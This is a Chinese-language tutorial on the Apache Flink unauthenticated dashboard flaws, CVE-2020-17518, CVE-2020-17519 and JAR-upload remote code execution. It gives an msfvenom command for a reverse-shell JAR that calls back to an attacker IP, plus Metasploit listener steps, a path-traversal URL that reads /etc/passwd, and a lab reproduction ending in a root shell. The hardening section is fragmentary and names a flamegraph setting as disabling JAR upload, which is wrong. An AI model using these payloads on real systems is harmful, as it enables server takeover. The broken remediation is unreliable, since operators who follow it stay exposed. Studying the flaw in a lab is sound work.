Apache Flink未授权漏洞学习_flink未授权访问漏洞
⚙️ 一、漏洞原理
1. 未授权访问机制
Apache Flink的Web Dashboard(默认端口8081)在设计上默认未启用身份认证,允许任意用户无需凭证即可访问控制台。关键风险点在于其Submit New Job
功能,攻击者可借此上传恶意JAR文件并提交任务,触发远程代码执行(RCE)。
2. 核心漏洞链
- CVE-2020-17518:攻击者通过篡改HTTP头,将上传的文件写入本地文件系统任意位置(影响版本:1.5.1–1.11.2)。
- CVE-2020-17519:通过REST接口(
/jobmanager/logs/
)构造路径遍历Payload(如..%252f..%252fetc/passwd
),读取JobManager进程可访问的任意文件(影响版本:1.11.0–1.11.2)。 - JAR上传RCE:利用Dashboard的JAR上传功能执行恶意代码,本质是未授权访问+任意文件上传的组合漏洞。
3. 漏洞关联风险
若同时存在Kafka组件(CVE-2023-25194),可通过JNDI注入进一步扩大攻击面,实现更深层次的RCE。
⚡ 二、利用过程详解(以JAR上传RCE为例)
1. 环境准备
- 受影响版本:Flink ≤1.11.2(实测1.11.2仍可利用)。
- 工具:Metasploit(生成恶意JAR)、Nginx(反向代理或端口转发)。
2. 攻击步骤
-
生成恶意JAR
使用msfvenom
创建反向Shell载荷:msfvenom -p java/shell_reverse_tcp LHOST=攻击者IP LPORT=4444 -f jar > rce.jar
-
启动监听器
msfconsoleuse exploit/multi/handlerset payload java/shell_reverse_tcpset LHOST 攻击者IPset LPORT 4444exploit
-
上传并触发JAR
- 访问
http://目标IP:8081
→Submit New Job
→ 上传rce.jar
。 - 点击
Submit
提交任务,触发反向Shell连接。
- 访问
-
获取权限
成功连接后,攻击者获得目标服务器的Root权限(取决于Flink进程权限)。
3. 文件读取漏洞利用示例
- Payload构造:
http://目标IP:8081/jobmanager/logs/..%252f..%252f..%252fetc/passwd
(%252f
是/
的二次URL编码,用于绕过路径校验)。 - 结果:可读取服务器
/etc/passwd
等敏感文件。
💻 三、漏洞复现示例
场景:本地搭建Flink 1.11.2环境
-
环境启动(使用Docker):
version: \'2\'services: flink: image: vulhub/flink:1.11.2 ports: - \"8081:8081\"
执行
docker-compose up -d
启动。 -
攻击验证:
- 访问
http://localhost:8081
,直接进入Dashboard(无认证)。 - 上传恶意JAR后,Metasploit捕获Shell:
[*] Command shell session 1 opened (192.168.1.1:4444 -> 目标IP:随机端口)
- 执行
id
命令确认权限:uid=0(root)
。
- 访问
🛡️ 四、修复与防护方案
flink-conf.yaml
配置Kerberos安全认证。flink-conf.yaml
中禁用JAR上传功能:rest.flamegraph.enabled: false
。flink-user
)运行,限制文件系统访问范围。💎 总结
Apache Flink未授权访问漏洞的核心在于默认配置缺失身份认证,结合高危功能(JAR上传、REST API)形成RCE和文件泄露风险。攻击者仅需访问Web界面即可完全控制服务器。修复关键点是升级版本+强制认证+网络隔离,同时遵循最小权限原则降低影响。运维人员应定期扫描未授权服务(如FOFA搜索app=\"APACHE-Flink\"
),及时加固。